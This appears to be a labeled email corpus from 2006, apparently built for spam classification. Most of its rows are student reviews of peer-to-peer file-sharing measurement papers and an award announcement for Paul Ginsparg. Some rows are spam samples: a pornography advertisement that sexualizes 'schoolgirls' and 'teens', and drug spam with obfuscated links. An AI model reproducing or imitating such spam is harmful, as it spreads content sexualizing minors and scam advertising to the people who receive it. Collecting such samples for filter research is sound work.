their practices."" Ginsparg joins previous award recipients Brewster Kahle (2004), Vinton Cerf (2002), and Tim Berners-Lee (2000). Three nonprofit organizations, the Coalition for Networked Information, the Association of Research Libraries, and EDUCAUSE, sponsor the Paul Evan Peters Award, which was established with additional funding from Microsoft and Xerox Corporations. The award honors the memory and accomplishments of Paul Evan Peters (1947–1996). Peters was a visionary and a coalition builder in higher education and the world of scholarly communication. He led CNI from its founding in 1990 with informed insight, exuberant direction, eloquence, and awareness of the needs of its varied constituencies of librarians, technologists, publishers, and others in the digital world. CNI is a coalition of some 200 member institutions dedicated to supporting the transformative promise of networked information technology for the advancement of scholarly communication and the enrichment of intellectual productivity. ARL's membership includes the leading research libraries in North America. Its mission is to shape and influence forces affecting the future of research libraries in the process of scholarly communication, promoting equitable access to and effective use of recorded knowledge in support of teaching, research, scholarship, and community service. EDUCAUSE is an association of nearly 1,900 colleges, universities, and education organizations whose mission is to advance higher education by promoting the intelligent use of information technology. For more information contact CNI Communications Coordinator Diane Goldenberg-Hart at diane@cni.org. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 Andrew Cunningham ,egs+summary@cs.cornell.edu,"Wed, 22 Feb 2006 17:03:48 -0500",PAPER 9,"Andrew Cunningham arc39 _A_Measurement_Study_of_Peer-to-Peer_File_Sharing_Systems_ Stefan Saroiu, P. Krishna Gummadi, Steven D. Gribble This is an almost psychological study on the profiles of users of Napster and Gnutella, and of their habits and capabilities. It includes readings on bottleneck bandwidth between the various hosts and the internet at large, how often hosts connect and disconnect forom the system, how many hosts share and download, how much they cooperate, and the correlations between these various behavior. The end result of this study is that there is significant heterogeneity and lack of cooperation across peers participating in these systems, (conjecture:) most likely due to the lack of reward structure in place to induce cooperation. It is humorous that the authors feel that four days of Napster activity, and eight of Gnutella, is sufficient to draw conclusions about the systems: they claim that the main users of these systems are edge computers on the internet; the problem is that for such uncoordinated beings, time-of-year can have vastly important impact. For instance, the period during which they observed the systems is during Cornell's end-of-year, final, and graduation period; user activity is likely to be anything other than normal for college students! Another odd result (under their Napster study) is that they discover that high speed connections to the internet users constitute both more of the peers and more than 3 times more of the upload traffic than modem, low speed connecting clients. They do not seem to draw the same result from this as I do, which is that some do choose to identify themselves as possessing a high speed; they get more downloads and many more uploads, and behave in all ways slightly utopian. On the down side, there are a large number of unknown-speed hosts; it is to these that the author's desire for a better reward structure exists. They suggest that to solve the client's deliberate misrepresenting of connection capability, that the software automatically configure itself; this is a stopgap measure, but morally reprehensible. Not only does it not solve the problem (if you rely on these values, it is in the interest of the community to hack together a version of the client which will underreport) and make the user suspicious of what their computer is doing against them, it is in some senses a breach of confidence. Moreover, it's out of the scope of this paper: better phrasing would be to simply issue a call-to-arms for a solution, without suggesting a software, versus protocol, solution. _Measurement,_Modeling,_and_Analysis_of_a_Peer-to-Peer_File-Sharing_Workload_ Krishna P. Gummadi, Richard J. Dunn, Stefan Saroiu, Steven D. Gribble, Henry M. Levy, and John Zahorjan Using a much larger trace of Kazaa traffic, this paper analyzes various file-sharing behavioral hypotheses. Among these are a debunking of the traditional view of Zipf-like distribution for content (due to specific filesharing characteristics), and the implications of this datum. Among the implications are optimizations for using the currently untapped locality of operations to improve the Kazaa workload, with quantified bandwidth savings. Fortunately, this paper avoids some of the problems of the previous one, in that the data-gathering period was much longer, although for a much more constrained population, and thus took into account human behavioral patterns (as they determined that a large amount of their campus traffic was P2P related, studies during the summer will ignore that traffic!). One thing that was not considered was the amount of data transferred over Kazaa; text, portable document format, and executable. The reason that this is relevant is that these formats are somewhat mutable, and might tend to combat the non-Zipf nature of Kazaa files; essentially, they form groups and aggregate their downloads for a general popularity metric. Similarly, the odd behavior surrounding new object arrival -- that new popular object crystallize load and thus lead to better network load behavior -- ignores the actual behaviors of users, who will seeks odd/archaic files regardless of the general opinion of them. In my experience, of course. The other odd news from this paper is bad news for consistent hashing schemes: to utilize locality-aware request routing, it is beneficial for clients to be aware of files that are within some internet-relevant domain -- perhaps on the same subnet, etc. However, under the ring based systems that we've studied, the nodeID of hosts (of objects) are some sort of hash of, say, the IP address -- and thus likely to be completely disassociated from the ID of the object! This is not an insurmountable obstacle -- with sufficient indirection, nothing is insurmountable -- but it is a cause for a pause to think. Finally, there is little incentive for peers to use some sort of locality aware caching scheme. This improves performance on a global sense, but requires admitting that one is ""officially"" hosting a file; a better way would be for the protocol to build some sense of this into itself through some sort of anonymity routine. This is not a well thought out concept, but the problem is simple: their specific implementation of the locality heuristic relied on perfect global knowledge in a central location. ",0,0 Neateye ,Seej-plan ,"Thu, 23 Feb 2006 00:48:08 +0000",Gouranga,"Call out Gouranga be happy! Gouranga Gouranga Gouranga That which brings the highest happiness... ",1,0 Ivan Stoyanov ,egs+summary@cs.cornell.edu,"Wed, 22 Feb 2006 22:39:41 -0500",PAPER 9,"The motivation behind both papers is similar. They want to develop insights and draw conclusions about peer-to-peer networks by looking directly at a real deployments like Napster, Gnutella and Kazaa. The authors claim that actual usage patterns, node characteristic and motivation for participation are very important and should be taken into consideration when making design choices about the system and the related protocols. Measurement, Modeling and Analysis of a Peer-to-Peer File-Sharing Workload The paper focuses on the properties of the file-sharing phenomenon as delivered by the popular medium Kazaa. Through the data collected they make two important observations about the characteristics of users and demand. -Unlike in the case of web site or DNS, popularity for large multimedia files does not follow a Zipf distribution. This is due to what they call ""fetch-at-most-once"" behavior, where the mutimedia files are requested once becase of their immutability (in contrast to web sites). Similarly, movie rentals and theater visits are actions committed once per object. The popularity graph of such objects has a ""flat head"", when drawn or a log-log scale. -The primary forces in Kazaa are the creation of new objects and addition of new users. This is in contrast to the WWW, where constant mutation of objects generates the traffic. Users in Kazaa are ""patient"". Kazaa is a batch-mode delivery system as opposed to the ""interactive"" web. Also, the number of user requests tend to go down as the users ""age"". A Measurement Study of Peer-to-Peer File Sharing Systems This paper focuses more strictly to the profile of the users with respect to the available bandwidth, latency, availability and degree of sharing. Not surprisingly, the authors find that there is a great heterogeneity there. Their second observation is that when peers have no incentives they tend to misreport information. One problem is that the data shown seems like a too small sample -- only four and eight days, respectively for Napster and Gnutella. Since some of the authors are the same in the other paper, they seem to have learned a lesson. The main problem that the paper is trying to deal with is the misrepresenting of the available bandwidth. There is no good solutions to that--users will always report what they have incentives to report. A good solution will be an incentive to report bandwidth correctly or to somehow measure it directly. The paper shows interesting graphs regarding the resilience of Gnutella's connectivity. If random 30% of the nodes are removed the network will be still connected. However, if the top 4% high-degree nodes are removed, the network will be partitioned in a large number of small networks. ",0,0 Peter Suber ,SPARC-OAForum@arl.org,"Wed, 22 Feb 2006 23:19:04 -0500",Paul Ginsparg to Recieve Paul Evan Peters Award at April CNI meeting,"[Forwarding from CNI. --Peter.] I'm delighted to share this news with the CNI community. Clifford Lynch Director, CNI 21 Dupont Circle Washington, DC 20036 202-296-5098 http://www.cni.org For Release: February 22, 2006 arXiv Founder Paul Ginsparg Named Recipient of Paul Evan Peters Award Paul Ginsparg, physicist and Internet scholarly communications pioneer, is the latest recipient of the Paul Evan Peters Award, announced today by the Coalition for Networked Information (CNI), the Association of Research Libraries (ARL), and EDUCAUSE. The award will be presented on April 3, 2006 at the CNI Membership Meeting in Arlington, VA, where Ginsparg will deliver the Paul Peters Award lecture at the opening plenary. A professor of physics, computing and information science at Cornell University, Ginsparg has distinguished himself as the visionary behind arXiv (http://arxiv.org), an Internet e-print archive for articles in the sciences, which allows scholars to circulate and comment on research prior to publication in traditional peer-reviewed journals, thereby significantly reducing the amount of time it takes for an article to be available to researchers. Started in 1991 as a service for preprints in physics, arXiv eventually expanded to include mathematics, computer science and quantitative biology. Today, the resource boasts open access to over 350,000 articles. ""Paul Ginsparg's accomplishments as a theoretical physicist, alone, distinguish him as a superb scholar, but his innovations in scientific publication, for which the Paul Evan Peters award honors him, truly places him in the annals of history as a transformative figure who has changed the landscape of scholarly communication forever,"" remarked Ronald Larsen, Dean of the School of Information Sciences at the University of Pittsburgh and a member of the award search committee. ""This is a richly deserved award,"" Larsen continued, ""that honors the legacy of Paul Evan Peters."" Commenting on how Ginsparg's brainchild has revolutionized science publishing, in the October 2005 issue of Sky & Telescope, author Richard Tresch Fienberg reports that papers published in more than a dozen major astronomy journals are twice as likely to be cited by other researchers if they have also appeared on arXiv. He observes, ""Clearly, professional astronomers are gravitating toward [arXiv] as their primary - perhaps even exclusive - reference source."" Expressing this view directly as part of the 2001 UNESCO Expert Conference Electronic Publishing in Science, Ginsparg wrote, ""The essential question for 'Electronic Publishing in Science' is how our scientific research communications infrastructure should be reconfigured to take maximal advantage of newly evolving electronic resources."" The award - named for CNI's founding director - recognizes Ginsparg as creative and innovative, capable of taking a fresh view of conventional models of exchange and collaboration, which, eventually, led to a groundbreaking approach to scholarly communication. ""Dr. Ginsparg has helped to usher in an extraordinary new era in scholarly communication. I am delighted that he has been selected to receive the Paul Evan Peters Award - his contributions clearly illustrate the spirit of this award, "" said Duane Webster, ARL Executive Director. In 2002, Ginsparg was named a fellow of the John D. and Catherine T. MacArthur Foundation. Upon announcing the award, the foundation stated that, ""Ginsparg has deliberately transformed the way physics gets done - challenging conventional standards for review and communication of research and thereby changing the speed and mode of dissemination of scientific advances."" Commenting on the impact Ginsparg's work has had on scholarly communication, CNI Executive Director Clifford Lynch said, ""Paul's work has shown how technology can fundamentally change the patterns of flow and the pace of scientific communication and has challenged scholarly disciplines to reconsider their practices."" Ginsparg joins previous award recipients Brewster Kahle (2004), Vinton Cerf (2002) and Tim Berners-Lee (2000). Three nonprofit organizations, the Coalition for Networked Information, the Association of Research Libraries, and EDUCAUSE, sponsor the Paul Evan Peters Award, which was established with additional funding from Microsoft and Xerox Corporations. The award honors the memory and accomplishments of Paul Evan Peters (1947-1996). Peters was a visionary and a coalition builder in higher education and the world of scholarly communication. He led CNI from its founding in 1990 with informed insight, exuberant direction, eloquence, and awareness of the needs of its varied constituencies of librarians, technologists, publishers, and others in the digital world. CNI is a coalition of some 200 member institutions dedicated to supporting the transformative promise of networked information technology for the advancement of scholarly communication and the enrichment of intellectual productivity. ARL's membership includes the leading research libraries in North America. Its mission is to shape and influence forces affecting the future of research libraries in the process of scholarly communication, promoting equitable access to and effective use of recorded knowledge in support of teaching, research, scholarship, and community service. EDUCAUSE is an association of nearly 1,900 colleges, universities, and education organizations whose mission is to advance higher education by promoting the intelligent use of information technology. For more information contact CNI Communications Coordinator Diane Goldenberg-Hart at diane@cni.org. ",0,1 Sterling Duarte ,Cmaptools@ihmc.us,"Wed, 22 Feb 2006 17:27:22 -0700",Group pretty teens harrdcore!," Youngest charming Schoolgirls fuckked anallyy! http://chargesunn.com/xbootycall.htm?iSPhfd.fX,hj R,E,M,O,\\//,E http://chargesunn.com ",1,1 Huang Shiang-Jia ,egs+summary@cs.cornell.edu,"Thu, 23 Feb 2006 00:09:13 -0500",PAPER 9,"The two papers measure the characteristics of Napster and Gnutella and the workload of Kazaa, respectively. Measurement on the characteristics of nodes is important in delegating responsibilities across them in the peer-to-peer system. Measurement on the forces that drive workload in peer-to-peer systems, mostly multimedia, helps understand the future of multimedia workload. [Comments] As the paper observes a large fraction of server-like and client-like behaviors in Napster and Gnutella, a large-scale system may be classified into classes of peer-to-peer systems accordingly to the peers' resource, and peers may be required to provide a certain amount of uploads before they can download others’ shared files, to make it a real and fair peer-to-peer system. * Current proposed peer-to-peer routing protocols assume that nodes participating in the system behave equally (having the same resource…) and are willing to cooperate. This paper presents a measurement study over nodes in the system and shows that there is significant heterogeneity and lack of cooperation across them. * Measurements are performed on Napster and Gnutella in this paper. They periodically crawl the systems to gather peer population snapshots and measure properties about them. These snapshots are crawled by issuing queries to central servers in Napster and by exploiting the ping/pong messages in Gnutella. The metadata of peers from the responses are kept in a list. Characteristics such latency, lifetime and bandwidth are measured for each snapshot. * In latency measurement, they use TCP to discriminate against flows and large round-trip time. The latency, however, is dependent on the location of host from which it is measured. For lifetime, they measure IP-level uptime as well as application-level uptime. Finally, they use bottleneck link bandwidth as an approximation to available bandwidth because bandwidth may fluctuate significantly. As the bottleneck generally equal to capacity of the slowest hop, it’s a physical property that remains constant over time. * The results show (1) peers tend to have higher downstream than upstream bandwidth; (2) there are three classes of latencies a peer interacts with: same part of a continent, opposite part of a continent and trans-oceanic peers; (3) on average, Napster peers have longer uptime than Gnutella peers; (4) there are free-riders (nodes having little or no shared data but always download files) in both systems and this is more significant in Gnutella where 7% peers offer more files than all of the other peers; (5) Napster peers have an incentive to report a small bandwidth than the true value; (6) though having no central servers, Gnutella is vulnerable to attacks that are directed to best-connected, popular and high degree nodes. * The heterogeneity on latency, bandwidth and availability implies that a peer-to-peer system should delegate responsibilities (storing replicas or popular data) across the nodes based on their characteristics. The dishonest report of nodes implies that a peer-to-peer system should have built-in incentives for them to be honest or directly measure the information. * This paper explores the forces that drive current peer-to-peer file-sharing workload and implications for their future. * Peer-to-peer file-sharing system differs from web content distribution in its data type, multimedia files. The large size and immutability of these data have effects both on user behavior and on object dynamics: (1) Many of these data are fetched at most once per client. This paper shows that such kind of behavior causes the Kazaa population distribution to deviate substantially from Zipf curve. They compare Kazaa with other non-Zipf workload such as web with proxy caching or media streaming and use a model to explore that the non-Zipf behavior in Kazaa is best explained by the fetch-at-most-once behavior of clients. (2) Popularity of the objects is often short-lived, popular objects tend to be recently born and many requests are for old objects. Along with the analysis in their model and other properties presented in this paper, such as: Kazaa is a batch-mode delivery system where users are more patient, while web is an interactive system where users are sensitive to page-fetch latency; and new clients generate most load in Kazaa while older clients consume fewer bytes as they age, they conclude that, unlike the web system whose workload is driven by document changes, the primary forces in Kazaa are creation of new objects and addition of new clients. * This paper finally demonstrates an untapped locality existing in Kazaa workload and presents a locality-aware mechanism, implemented by either centralized or decentralized nodes that redirect to caches from local peers, for reducing external downloads. Its concern is the availability of the content, since the redirectors have no control over the peers.",0,0 Ari Rabkin ,egs+summary@cs.cornell.edu,"Thu, 23 Feb 2006 00:47:03 -0500",PAPER 9,"[this time for real...sent a few previous paper responses with bad subject lines...fencepost error on the numbering, coupled with carelessness] A measurement study of peer-to-peer filesharing systems It would be nice to know what the 'typical' napster or gnutella node looks like, and the authors set out to measure this. They built a small toolbox of programs for measuring bandwidth, latency, and so forth for a large sample of napster and gnutella nodes, over a short period of time (4-8 days). The authors show that nodes are very diverse, in terms of bandwidth, uptime, latency, and files shared. They provide detailed numeric data on each. For instance, they show that the bulk of nodes on both systems are users connecting through cable modems and DSL links, but that there are sizeable fractions of LAN users, and even of modems. Unfortunately, precisely because of the short measurement period, the authors may not capture long-term, or even annual, variation in the properties of peer-to-peer networks. These data are perhaps relevant for a year or two; as the overall demographics of the internet shift, it seems likely that these results are no longer directly applicable. The paper's Figure 2 shows interesting diurnal variation; sadly, the authors do not indicate whether their data is measuring local time or GMT, making it much less useful. The authors mention that other Gnutella clouds may exist; it would be interesting to know whether different clouds have different geographic distributions. Measurement and modelling Whereas the previous study examined peer to peer hosts qua hosts, this study concentrates on the data being shared, and the users qua users. The study looked just at the UW campus, and just at one P2P protocol; Kazaa. The authors present population studies on object popularity, and how Kazaa users change their behavior over time. There were a number of interesting results. To give one: due to the fact that users generally download a given file only once, the distribution of requests is not zipfian--the most popular items are ""clamped"" in popularity, being requested less often than Zipf's law would suggest. The authors use these results to propose a statistical model of user behavior and file choices. This study is quite narrow in both breadth and scope. It is limited to a few months, and to a heavily-networked university campus. It is not obvious that the results generalize to other network settings, or even whether they are constant over time. The authors assert that ""fetch at most once"" is a fundamentally different cause for non-zipfian distribution from web caching. This is not necessarily true: the user's hard disk is essentially a very large cache for media files of interest to the user, who may play the same song or movie many times. The fundamental phenomenon resulting in non-Zipf distribution here could plausibly be caching--whether the cache is shared or per-client is not fundamental for analyzing the distribution. Ari Rabkin asr32@cornell.edu Risley Hall 454 3-2842 The resources of civilization are not yet exhausted. --William Gladstone ",0,0 Theodore Ming Shiuan Chao ,egs@cs.cornell.edu,"Thu, 23 Feb 2006 01:33:15 -0500",paper 9,"The two papers discussed both measure certain aspects of a few popular P2P File Sharing applications, as those were the most common use of large-scale P2P networks. The first paper measures the bandwidth (reported and/or actual estimates), session durations, and number of shared files in Gnutella and Napster networks. They found that the two networks shared many similar features. For one, a large fraction of the users in both networks were behind broadband connections with downstream bandwidths of 1000 kbps. However, many of the users were behind asynchronous connections with lower upstream bandwidth, resulting in a significant difference between total available upstream and downstream bandwidth in the network. They also noticed the CDF of the session time of users resembles a log scale, with over half the users with session times under an hour and 80% under 3 hours, and that a small percentage of the users account for a large percentage of the files shared. They also note some differences between the two networks. One is that Gnutella has a far smaller percentage of <64kbps bandwidth users, and another is that the size of files on Gnutella varies much more than Napster where nearly all the files are <10MB audio files. They also note that Gnutella can be vulnerable to organized attacks on nodes with especially high degrees, which can cause large-scale partitioning of the network overlay. The second paper takes a look at Kazaa, and focuses on the distribution of queries over time. The major point to note is because of the ""fetch-at-most-once"" property of the media files shared in the P2P network, the distribution of requests does not follow a Zipf-like distribution that is commonplace when viewing Web traffic. Even assuming an initial Zipf-like distribution, opular objects are downloaded quickly, but once each user has fetched it, there is no need for it to request it again and the number of requests for it decreases as the age of the object increases. Influx of new popular objects can bring the distribution closer to the Zipf distribution, but it still quickly falls off. New clients that do not have the object provide a marginal gain, as they represent merely a small percentage of the population, unless the influx of clients is on an exponential scale. While it is likely true that most users in the studied P2P networks are free-riders, the first paper has a flaw in that it doesn't take into account POPULARITY of files each user is sharing. If you consider that the most popular files are the most often downloaded, and by default the program will share the files a user downloads, there is a chance that this could serve as a crude form of replication. Thus, a user with a small number of files could be serving some of the more popular ones. Conversely, a user with a large number of files might not necessarily be satisfying more queries if the objects it is serving are not as popular. A possible extension would to be combine the two studies: examine the popularity and number of files shared on users as a function of time. As objects age, do users replace the files they are sharing with newer popular objects? Or do they keep sharing the old objects, possibly in addition to newer ones? For the second paper, they also only looked at the most popular requests in the first and last 30 days. 6 months is quite a long turn-around period for files; a more informative experiment would be to take snapshots of popular files every 30 days. Then they could look at the lifetime of different file types/sizes, and also see how the request fall-off for popular objects looks compared to the fall-off of less popular objects.",0,0 Philip Kuryloski ,egs+summary@cs.cornell.edu,"Thu, 23 Feb 2006 01:58:57 -0500",PAPER 9,"A MEASUREMENT STUDY OF PEER-TO-PEER FILE SHARING SYSTEMS The authors produce a survey of the characteristics of peers in both the Napster and Gnutella file sharing networks. In order to achieve this, they crawl each network to obtain a list of peers, and then use that list to scan and test peers in the network. The napster crawl was performed by obtaining a list of popular files from the web, querying the napster network, and recording hosts with copies of the file. The Gnutella crawler would use the Gnutella protocol to flood the network with ping messages to gather hostnames. Once a list of peers had been generated, number of shared files, ping latency, uptime or lifetime, and bandwidth to the internet was measured for individual peers. Distribution of peers across DNS domains was also measured. They find that very few peers server like high bandwidth (> 3Mbps) connections, and that a significant portion of peers have very low bandwidth modem grade connections. Also, upstream bandwidth is typically lower than downstream bandwidth. They note that latencies in the Gnutella network vary greatly due to the unstructured nature of the network. In terms of uptime, Napster peers have significantly higher availability than Gnutella peers, although no network has a large number of peers with server-like uptime (93% +). There are also a large number of freeloading users in both networks, and a significant number of users who misreport their bandwidth. Based on these findings, the authors derive several suggestions for p2p network designers. The great variation in peers suggests that systems should delegate different levels of responsibility to different peers. Also, the system should do it's best to measure peer capability rather than rely on peer supplied values, as these are often misreported. MEASUREMENT, MODELING, AND ANALYSIS OF A PEER-TO-PEER FILE-SHARING WORKLOAD This work focuses around a 200 day trace of Kazaa traffic. The authors begin by generally classifying aspects of this traffic as compared to web traffic. They find that web traffic is driven by the dynamic nature of pages, while Kazaa traffic is generated by the introduction of new content and by users entering and leaving the system. Generally this is due to the immutable nature of typical Kazaa content, where users are likely to download an item once, as opposed to a webpage they may visit repeatedly. The also find that Kazaa users are extremely patient with content requests, unlike web page requests. Another interesting finding is that users request less content as they age in the system. In terms of content on the network, there are three natural classifications, small (< 10MB), medium (10-100MB), and large (>100MB). The majority of the requests are for small files, however large files generate the most traffic overall. Also, popularity for objects is short lived, although less so for large files than small. However, older objects receive more requests overall than new ones. Finally, they note that the popularity of Kazaa objects does not follow the same Zif distribution as Web objects. The authors also suggest that locality-aware routing, mainly forming distributed local caches to reduce overall network traffic. The most popular objects are replicated more often. In both papers, the authors find that p2p networks are often a far cry from the homogeneous set of nodes envisioned as the substance of the network. In fact, peers vary greatly in capacity, as does object popularity. Most importantly, the types of objects transferred in p2p networks is quite different from that of the web. In essence, a p2p network is highly dynamic, and this is the most notable design challenge and stress upon the network, not due to it's content, but instead due to the peers itself.",0,0 """Ryan S. Peterson"" ",egs+summary@cs.cornell.edu,"Thu, 23 Feb 2006 03:40:17 -0500",PAPER 9,"Two papers out of the University of Washington measure characteristics of early peer-to-peer file sharing systems to get a sense of traffic patterns and client behavior over time. The first paper, by Saroiu, et al., studies Napster and Gnutella using crawlers to scour the networks for a interval of four to eight days. The paper comes away with two major observations about large multimedia sharing p2p systems. First, although such systems often assume homogeneity in clients' bandwidth, latency, and number of files shared, clients across the network often differ by three to five orders of magnitude on all those characteristics. Second, to game the system, many clients seem to misreport information about themselves, such as connection speed. By doing so, clients have less responsibility for uploading files, and can be ""free riders,"" using the service to download files without reciprocating the favor. Without auditing algorithms in place to prevent misrepresentation, approximately 25% of all Napster and Gnutella users are free riders. The second paper, by Gummadi, et al., focuses on Kazaa, a later p2p multimedia-sharing system. They tracked Kazaa traffic in and out of the University of Washington for a 200-day interval. Much of this paper is dedicated to comparing query distributions in Kazaa versus the Web. In particular, the paper shows that Kazaa queries do not follow a Zipf distribution as Web queries do. The most popular files are not as popular as a Zipf distribution would predict, making the popularity function ""flatten out"" at the popular end. The authors attribute this phenomenon to the ""download once"" model. Since Kazaa distributes immutable multimedia objects, there is little reason to download the same file multiple times. Contrast this with Web pages, which a client might check several times every day. The authors also point out various other statistics about Kazaa users, such as their patience as compared with Web users, who often give up on downloading a Website after a matter of seconds. Kazaa users treat the network as a ""batch download"" program, waiting hours of days before their requested downloads are complete. Both papers note the heterogeneity among clients and nodes in the three studied p2p networks. Because of the vast differences in machine capabilities and network conditions throughout the networks, newer systems have begun taking such conditions into account. Peer-to-peer networks, however, despite their dominance on world-wide network traffic, are still not as well understood as traditional Web services. Ryan ",0,0 """alain.janicki"" ",egs+summary@cs.cornell.edu,,Hello!,"With 0ur Soft Cialis Tabs you will be able to chop the wood with your dick.(Warning: don�t try it). http://adjmckfhl.cutpro.info/?begifhlxwnvpyadjmzctck=2505547BB0O4C4947B6B2AEBCBD55@AA65EAD@= =2505547BBO04C4947B6B2AEBCBD55A@A65E@DA= About time! Harry snarled, as she landed lightly on top of her cage. You",1,1 Niranjan Sivakumar ,egs+summary@cs.cornell.edu,"Thu, 23 Feb 2006 10:27:36 -0500",PAPER 9,"Niranjan Sivakumar A Measurement Study of Peer-to-Peer File Sharing Systems Measurement, Modeling, and Analysis of a Peer-to-Peer File-Sharing Workload Both of these papers deal with the issue of probing popular file-sharing systems to try to derive some meaningful characteristics. The first paper set up crawlers for Napster and Gnutella. Different findings were made about bandwidth usage and the contribution of different nodes in the networks. It was found that nodes generally had lower upstream bandwidth than downstream. It was also found that there were many leechers on the network. Despite the appearance of a system where many nodes were each carrying out similar responsibilities, the models of these systems seemed to be much more like a modification on the traditional client server model with much of the load borne by larger, more resourceful nodes with a significantly smaller load on a large number of other nodes. Gnutella showed some resilience to failure, but it was shown that a coordinated attack would be able to ""shatter""; the system because of the uneven load distribution. It was also found that there is quite a bit of churn on these systems, worse on Gnutella than on Napster. The second paper considered measurements of Kazaa. First, the authors compared Kazaa usage to web usage. They found that Kazaa users are generally more patient than web users. Also, Kazaa usage differs from web usage because Kazaa users will often obtain an object only once from the system, as opposed to a website that a user may visit many times due to its changing nature. Distribution of object popularity was also considered. It was shown to be non-Zipf, like websites, but the reasons for the distribution were different between websites and Kazaa objects. Website distribution was driven by the nature of proxy caches, whereas Kazaa doesn't really have a caching system like that. The study also showed that file-sharing effectiveness decreases with client age. In turn, this showed that the infusion of new objects rejuvenated the system. However, new clients joining the network did not have the same effect. The paper also looked at ways to improve performance, and showed that a locality-aware mechanism may help to reduce bandwidth usage. Both of these papers may not seem too ground breaking when considered in retrospect, as some of the findings have now become somewhat commonly known knowledge. However, given the time when the measurements were made, it was probably an important step to understanding such file-sharing systems. However, one of the drawbacks of these papers may be the temporal nature, the papers do not look forward too much with respect to changing Internet infrastructures, such as the recent development of significantly higher speed networks in Europe and Asia, where bandwidths may increase significantly and equalize in terms of up and downstream capacity. ",0,0 ko benson ,Jaime Gracia ,"Thu, 23 Feb 2006 11:30:47 -0600",(no subject),"Look at this and tell me if the eagles eyes will freak out because the bolds are a little bolder than 301 ",1,0 Jeff Diamond ,cs395t-mark@cs.utexas.edu,"Thu, 23 Feb 2006 11:35:37 -0600",An interesting parallel architecture taxonomy...,"This very high level article serves as a reminder that multicores are actually the highest (coarsest) level of on chip parallel acceleration, but there is an entire taxonomy below cores: *http://tinyurl.com/ma62o * ",0,1 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 23 Feb 2006 14:09:10 -0500","US-CERT Cyber Security Bulletin SB06-054 -- Summary of Security Items from February 16 through February 22, 2006 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from February 16 through February 22, 2006 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from February 16 through February 22, 2006, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ/4H/n0pj593lg50AQKkywf+IYrTOzngJdnh2q1LKseVllKjd3MxXDqc OLPdqRWmxVTmwQSrusHPQzePIXNfroCyVMO+r7l7hRMfTSkyq96MpEvxKS3LwU1Y dNXBgBVueSMJ5b1qHBn+Nufu8cQHQRtRTqrbe2g4XIlkusqXsZE5J6R5NNacxZI2 xV6b+OGyV/lZ8nYV8eotttMT0aA5YR0XSMt7IVT7mGys5EkYT5+UWp/OQfFZd+Il GA44l13bnqx6UyMKQbvxkLiTBE6uMzr+OeKrnqS2Bjw8Rt5AiqVpGF/Csi93rJ98 5YpzdywlBu+ect1CxbwlX8M3XkMfuxtuXACZCGpzABY7y8TtjG8mHg== =/64q -----END PGP SIGNATURE-----",0,1 Kevin ,egs+summary@cs.cornell.edu,"Thu, 23 Feb 2006 11:53:16 -0500",PAPER 9,"The first paper (A Measurement Study of Peer-to-Peer File Sharing Systems) is a focused study on the usage patterns of people on the Gnutella and Napster file-sharing networks. The authors developed a web-crawling-like system to scan the p2p infrastructure of the two networks. They gathered information on number of files shared, reported bandwidth, actual bandwidth (by measuring it themselves), current # of uploads, current # of downloads, and other information. They monitored Napster for four days and the Gnutella network for eight days. Their results seemed to show that people on the Gnutella network were almost ""better"" than those people on the Napster network. On average, their latencies were lower, their bandwidths were higher, and they misreported less. Their initial reaction was the tech-savvy nature of people who used the Gnutella network (therefore having higher bandwidth connections). One of the big takeaways of this paper was the heterogeneity of the users. Many users (especially those on slower connections) acted more like clients while those on faster connections acted more like servers. The authors kept making the argument that future p2p system designers should create systems which take this into account and do not assume everyone has a similar speed connection. One of the arguments the authors also constantly made was that software should not ask users for their bandwidth and other information, but rather that the software should measure that itself. It seems almost ironic that they first say that high speed connections act like servers and are (on average) up more frequently and for longer durations yet they do not trust the end user. It seems like the high speed connections are already doing a favor to the network by being up so much, it seems as if the authors do not trust the users. Other problems (such as small sample size) are an issue, but this is resolved in the second paper. The second paper, Measurement, Modeling, and Analysis of a Peer-to-Peer File-Sharing Workload, was a detailed look at the Kazaa file sharing network. This paper had a much longer sampling period (over half a year) which allowed the authors to view human-related cycles (such as college students going home over summer-break and coming back in the fall). One of the first things the paper seems to point out is that people are willing to wait for content. Unlike web surfing (where people normally don't wait for more than a few seconds before moving on to the next, possibly competing, site), people who downloaded content through Kazaa had no problem waiting a day, a week, or even longer to get files. People, they discovered, are patient! The next takeaway from this paper was that files on the Kazaa network did not follow a Zipf-like distribution. Unlike DNS queries and other internet systems, the content, when graphed on a log-log plot, was clearly not Zipf. They explain this by the fetch-at-most-once concept. Basically, once you have a media file you no longer need to download it. You have it stored locally and the external network's version is immutable -- there is no reason to download it again. The phenomenon of ""the new song"" which is often immediately popular, might skew the network to be more zipf like temporarily, but then quickly dies back down as more and more people have the file. The authors also measure something else of interest: the number of requests for small files (those under 10 megabytes) greatly outnumber (by over 10x) requests for large (>100 megabytes) files while the actual transferred bytes show that 65% of the bytes transferred are for big files and closer to 15% for smaller files. All in all, the papers were useful for determining the behaviors of the system and the users and should give insight to future p2p developers. While not all of the schemes are immediately realizable (like locality in the second paper, which will be difficult with hashing), they give good pointers. --Kevin ",0,0 Victoria Krafft ,egs+summary@cs.cornell.edu,"Thu, 23 Feb 2006 08:56:53 -0800",PAPER 9,"So far, all the peer-to-peer networks we've looked at have made some general assumptions about the hosts which will be running the systems. We've assumed that network bandwidth and latency were the limiting factors, and not worried too much about CPU time or memory usage. However, we had no idea how much bandwidth the average node had, or how much this varied between nodes. These papers study the characteristics of the nodes running file-sharing software. The paper by Saroiu et al. showed that the nodes in both Gnutella and Napster were heterogeneous, with variations of several orders of magnitude. In addition, their work showed 